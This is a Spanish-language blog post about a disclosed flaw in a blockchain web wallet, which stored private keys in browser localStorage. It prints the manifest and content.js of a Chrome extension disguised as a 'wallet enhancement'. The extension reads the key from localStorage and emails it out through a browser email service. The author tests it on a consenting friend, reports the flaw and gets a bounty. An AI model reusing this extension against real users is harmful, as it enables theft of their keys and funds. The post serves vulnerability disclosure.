En enero de 2022, me uní a la comunidad de una de las cadenas de bloques de prueba de participación. Para jugar con lo que ofrecía el protocolo y su ecosistema, creé una cuenta de billetera en el sitio web oficial https://wallet.****.org
. Aparte de la curiosidad general, me interesaba saber cómo lograban la seguridad en un navegador, especialmente en la era de las extensiones y las vulnerabilidades del lado del cliente.
Resultó que cuando un usuario iniciaba sesión, la aplicación de billetera (integrada en React) generaba un conjunto de claves públicas y privadas y las almacenaba en el almacenamiento local del navegador. Con mi experiencia en la creación de autenticación y autorización en sistemas distribuidos, sabía que esto no era lo mejor que podía hacer; en general, es fácil para una extensión del navegador y un código del lado del cliente leer datos del almacenamiento local [ 1 ].
Para probar esto, decidí escribir una extensión simple para Chrome que recuperaría claves del navegador de una víctima y las enviaría a mi dirección de correo electrónico anónima.
El directorio raíz de mi extensión carterista se veía así:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
Los archivos principales son manifest.json
y content.js
. El primero es fundamental para instalar la extensión.
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
es solo una biblioteca cliente de uno de los servicios en la nube que le permite enviar correos electrónicos directamente desde un navegador sin ningún código de servidor. index.html
es una página HTML en blanco que no muestra nada. La lógica de secuestro de billetera se encontraba en el archivo content.js
:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
Sí, un guión tan tonto.
Empaqué los cuatro archivos en un archivo zip y amablemente le pedí a mi amigo, que también tenía una billetera en https://wallet.***.org
, que instalara mi creación en su navegador (pretendiendo hacer algo de ingeniería social). Antes de hacerlo, le conté mis hallazgos y la teoría que intentaba probar. Estuvo feliz de ayudar y las claves públicas y privadas de esta cuenta de billetera aparecieron en mi bandeja de entrada unos segundos después de que se instaló la extensión del navegador. Luego, guardé las claves del almacenamiento local en mi navegador y abrí el sitio web de la billetera.
Sorprendentemente, el saldo de la criptomoneda de mi amigo estaba disponible para mí, junto con una opción para retirar los fondos. Durante una llamada de Zoom con mi amigo víctima, transfirí algunos de sus fondos a una cuenta anónima y viceversa. ¡Fue alucinante! Una nueva y prometedora cadena de bloques que había cerrado recientemente una ronda de inversión tenía una vulnerabilidad importante en su billetera. Lo peor de todo es que tenían autenticación de dos factores para los usuarios. Por supuesto, no mucha gente lo activaría de inmediato y muchos no lo hicieron.
Como desarrollador ético, creé un informe de vulnerabilidad, incluido el código fuente de la extensión del navegador y mis ideas sobre cómo mejorar la seguridad de la aplicación web. Se envió directamente a la dirección de correo electrónico del equipo de seguridad el 18 de enero. Unos días después, llamé al CISO del protocolo blockchain, quien me aseguró que estaban al tanto del problema y que lo abordarían en la próxima versión. Me decepcionó un poco la velocidad de la respuesta al incidente. Dos días son una eternidad cuando se habla del dinero de los usuarios. Sin embargo, los desarrolladores de blockchain me otorgaron sus tokens por una cantidad equivalente a 1000 USDT.
👉🏻 Consejos para desarrolladores de aplicaciones: tenga en cuenta las tecnologías que utiliza y sus aspectos de seguridad.
💡 Consejos para usuarios de criptomonedas: conozca qué opciones de seguridad le ofrece una organización, active la autenticación de dos factores tan pronto como cree una cuenta de billetera, no almacene todos sus fondos en billeteras activas.
También publicado aquí .